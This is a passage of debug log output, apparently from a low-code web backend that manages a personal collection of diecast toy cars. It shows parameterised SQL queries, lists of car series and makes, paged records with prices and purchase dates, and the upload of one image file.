    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T05:30:48.719Z server-connect:output restrict: undefined
2026-02-04T05:30:48.719Z server-connect:app Executing action step select
2026-02-04T05:30:48.719Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T05:30:48.719Z server-connect:output restrict: undefined
2026-02-04T05:30:48.719Z server-connect:app Executing action step select
2026-02-04T05:30:48.719Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T05:30:48.720Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-04T05:30:48.724Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 }
]
2026-02-04T05:30:48.725Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T05:30:48.725Z server-connect:app Executing action step select
2026-02-04T05:30:48.725Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T05:30:48.729Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T05:30:48.729Z server-connect:app Executing action step select
2026-02-04T05:30:48.729Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T05:30:48.731Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 131,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 125 },
    current: 1,
    total: 6
  },
  data: [
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T05:30:48.732Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T05:31:15.333Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T05:31:15.333Z server-connect:app Executing action step identify
2026-02-04T05:31:15.333Z server-connect:app options: { provider: 'security' }
2026-02-04T05:31:15.333Z server-connect:output identity: 1
2026-02-04T05:31:15.333Z server-connect:app Executing action step restrict
2026-02-04T05:31:15.333Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:31:15.334Z server-connect:output restrict: undefined
2026-02-04T05:31:15.334Z server-connect:app Executing action step condition
2026-02-04T05:31:15.334Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T05:31:15.334Z server-connect:app Executing action step insert
2026-02-04T05:31:15.334Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T05:31:15.335Z server-connect:output insert: { affected: 1, identity: 150 }
2026-02-04T05:31:15.336Z server-connect:app Executing action step condition
2026-02-04T05:31:15.336Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-04T05:31:15.336Z server-connect:app Executing action step upload
2026-02-04T05:31:15.336Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T05:31:15.336Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T05:31:15.336Z server-connect:upload Process fields: 'images[]'
2026-02-04T05:31:15.336Z server-connect:upload Processing file: {
  name: '1-64-scale-mini-dodge-challenger-1970-die-cast-metal-muscle-car-original-imahjhfgfxyhvbuz.jpeg',
  data: <Buffer >,
  size: 20526,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-17-20378841770183075331',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: '717ac23fa61fc8e108bbfd2882379389',
  mv: [Function: mv]
}
2026-02-04T05:31:15.336Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/1-64-scale-mini-dodge-challenger-1970-die-cast-metal-muscle-car-original-imahjhfgfxyhvbuz_30547abc-61b0-4930-ad98-2e07cb0580ad.jpeg',
  rel: 'public/assets/images/diecast/1-64-scale-mini-dodge-challenger-1970-die-cast-metal-muscle-car-original-imahjhfgfxyhvbuz_30547abc-61b0-4930-ad98-2e07cb0580ad.jpeg'
}
2026-02-04T05:31:15.336Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/1-64-scale-mini-dodge-challenger-1970-die-cast-metal-muscle-car-original-imahjhfgfxyhvbuz_30547abc-61b0-4930-ad98-2e07cb0580ad.jpeg',
  rel: 'assets/images/diecast/1-64-scale-mini-dodge-challenger-1970-die-cast-metal-muscle-car-original-imahjhfgfxyhvbuz_30547abc-61b0-4930-ad98-2e07cb0580ad.jpeg'
}
2026-02-04T05:31:15.336Z server-connect:output upload_image: [
  {
    name: '1-64-scale-mini-dodge-challenger-1970-die-cast-metal-muscle-car-original-imahjhfgfxyhvbuz_30547abc-61b0-4930-ad98-2e07cb0580ad.jpeg',
    path: '/public/assets/images/diecast/1-64-scale-mini-dodge-challenger-1970-die-cast-metal-muscle-car-original-imahjhfgfxyhvbuz_30547abc-61b0-4930-ad98-2e07cb0580ad.jpeg',
    url: '/assets/images/diecast/1-64-scale-mini-dodge-challenger-1970-die-cast-metal-muscle-car-original-imahjhfgfxyhvbuz_30547abc-61b0-4930-ad98-2e07cb0580ad.jpeg',
    type: 'image/jpeg',
    size: 20526
  }
]
2026-02-04T05:31:15.336Z server-connect:app Executing action step repeat
2026-02-04T05:31:15.336Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T05:31:15.336Z server-connect:app Executing action step insert
2026-02-04T05:31:15.337Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T05:31:15.337Z server-connect:output images: { affected: 1, identity: 168 }
2026-02-04T05:31:15.337Z server-connect:output repeat_images: [ {} ]
2026-02-04T05:31:15.337Z server-connect:output condition: undefined
2026-02-04T05:31:15.337Z server-connect:output condition: undefined
2026-02-04T05:31:15.559Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T05:31:15.559Z server-connect:app Executing action step identify
2026-02-04T05:31:15.559Z server-connect:app options: { provider: 'security' }
2026-02-04T05:31:15.559Z server-connect:output identity: 1
2026-02-04T05:31:15.559Z server-connect:app Executing action step restrict
2026-02-04T05:31:15.559Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:31:15.559Z server-connect:output restrict: undefined
2026-02-04T05:31:15.560Z server-connect:app Executing action step paged
2026-02-04T05:31:15.560Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T05:31:15.562Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 132,
  page: {
